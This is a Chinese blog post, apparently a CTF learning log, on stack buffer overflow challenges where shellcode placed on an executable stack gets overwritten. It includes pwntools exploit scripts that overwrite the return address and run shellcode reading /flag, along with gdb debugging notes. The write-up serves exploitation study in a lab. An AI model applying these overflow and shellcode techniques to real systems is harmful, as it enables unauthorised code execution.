shellcode做题记录
记录一些需要记录的shellcode相关题目
shellcode被覆写
写在栈上的shellcode在程序执行的过程中被覆盖
这道题目直接通过read读入4096字节到栈上缓冲区,但是read的目的地址只开辟了40字节,而且栈是可执行的。这样会造成缓冲区溢出劫持控制流到写入栈上缓冲区的shellcode,但是challenge程序执行完read后会写入read的返回值到rbp-0xc的局部变量中,而缓冲区的起始地址在rbp-0x40,如果希望shellcode不被覆写有两种选择,一是压缩shellcode代码长度为0x40-0xc=54字节,二是将shellcode值写入ebp的高地址,也就是上一个栈帧中,这样无论challenge函数如何折腾栈都不会影响到shellcdoe的内容(因为根据函数调用约定,只能操作自己的栈帧)
challenge函数中实例化了data结构体,其中的char类型变量开辟了40字节的缓冲区

但是读入用户输入到该缓冲区的read函数的size参数为4096字节大小,可以读入用户0x1000字节参数写入栈上

而且这个题目的栈还是有rwx权限的

而且这个题目中ASLR和NX也是被禁用的(题目中有相关说明)

到这里思路就很明确了,通过read函数读入shellcode到缓冲区data.input起始的位置(可以通过动态调试得到,这道题在题目中会打印出来),覆盖垃圾数据到rbp,将rbp+8的返回地址覆盖为缓冲区的起始地址(因为我们把shellcode写在那个位置了)
所以初步来看,payload=shellcode+padding+shellcode_addr,可以写一个gdb调试脚本验证我们的思路,ipython3我远程和本地都用不了不知道为啥
写验证脚本需要payload要素齐全,所以在写脚本之前先运行一下程序,在本机上缓冲区的起始地址为0x7fffffffc360,这是写入payload的起始地址,也是覆盖ret addr的跳转地址

然后启动gdb调试,通过cyclic看看从缓冲区到ebp的偏移

start运行程序之后输入生成的字符串,程序发生段错误
这时看看ebp中的字符串,然后通过cyclic计算出需要填充的距离

从缓冲区开始到ebp为64字节,所以shllcode+padding应该为64+8字节
然后就可以开始写验证脚本了,先写一个通过gdb调试的版本
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=gdb.debug('../challenges/binary-exploitation-hijack-to-shellcode-w', gdbscript='''
set pagination off
break *0x0401fbe
b *0x0401fc3
continue
''',
aslr=False)
shellcode=asm(shellcraft.cat('/flag'))
offset=64+8
payload = shellcode
payload += b'A' * (offset-len(shellcode))
payload += p64(0x7fffffffc320)
p.sendline(payload)
p.interactive()
这个脚本中使用shellcraft自动生成达到相应功能的shellcode,我们运行它发现出现了错误

于是在gdbscript中添加了两个断点,分别在read调用时和返回challenge函数时


在到达read函数断点后通过si步进read函数,可以观察到在返回challenge函数之前写shellcode的缓冲区还没有被覆写

运行到0x401fc3的前一条pwndbg提示下一条指令会将0x51写入栈上该地址
可以顺便看一下当前指令的位置,在进程虚拟内存映像中的libc库的地址

现在看shellcode位置的缓冲区还是完好的shellcode,查看从该地址起始的20条指令, 查看现在栈上rbp和rbp+8位置的值

继续逐条指令执行,观察缓冲区处的指令情况

可以看到缓冲区的指令随着程序的执行被修改,因为程序的逻辑往栈上写入了值

为了知道是shellcode引起的崩溃还是exp代码的问题,视频中介绍了在shellcode末尾添加exit() shellcode的方法
现在写一个只含exit()的shellcode说明这一点

以指令格式查看写shellcode位置的缓冲区

程序成功回到challenge函数

继续执行到challenge返回,跳转到ret addr
在challenge函数的最后一条指令处下断点直接跳转过去

跳转到了目标缓冲区地址

开始执行exit(0)的shellcode

最后程序正常退出

现在我们把exit加到之前的shellcode后面

程序崩溃时出现了段错误

> 这就对应你之前问的那段解释:sendfile 执行完后进程还在,如果不退出会继续执行后面的垃圾内存而崩溃;所以这里显式调用 exit,让进程以正常状态结束,避免你分不清“shellcode 挂了”还是“shellcode 成功但收尾不当挂了”。
## 没有源码时判断缓冲区大小
在hard级别的题目中,没有给出源码,只有二进制文件
通过sftp将二进制程序下载到本地
通过ghidra中listing页面的偏移推断缓冲区大小

这里local_58对应的偏移[rbp-0x50]
与反汇编窗口中的栈布局不一致

还是用gdb看看变量到ebp的距离吧,是80字节

读入参数大小为ie0x1000,4096字节

检查权限

可以通过缓冲区溢出向栈上写入shellcode
现在还需要知道缓冲区的地址,我们在read函数处下断点,看看写到栈上什么位置

这里已经可以看到偏移了

先写一个调试程序验证一下
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=gdb.debug('../challenges/binary-exploitation-hijack-to-shellcode', gdbscript='''
set pagination off
break *0x4017a6
b *0x4017ab
continue
''',
aslr=False)
# shellcode=asm(shellcraft.cat('/flag')+shellcraft.exit(0))
shellcode=asm(shellcraft.exit(0))
offset=80+8
payload = shellcode
payload += b'A' * (offset-len(shellcode))
payload += p64(0x7fffffffc310)
p.sendline(payload)
p.interactive()
看到会在栈上c354的位置写入

>>> 0xc354-0xc310
68
缓冲区起点到被后续程序写入的距离
继续ni执行到challenge的ret处,跳转目的地址正常

到syscall打开/flag文件的的shellcode也正常

c34a处正常exit(),shellcode的一部分

看起来程序没有什么问题,现在去在线靶机上验证
通过ssh远程连接获得在靶机上的缓冲区地址

在调试模式下验证了利用代码的正确性

到运行模式发现又不对了,抛出段错误,推断是因为跳转地址出错
重新在运行模式获得缓冲区地址

然后也一直没拿到远程flag,先不管了
posted on 2026-10-03 13:42 d0ubleU0x00 阅读(4) 评论(0) 收藏 举报
浙公网安备 33010602011771号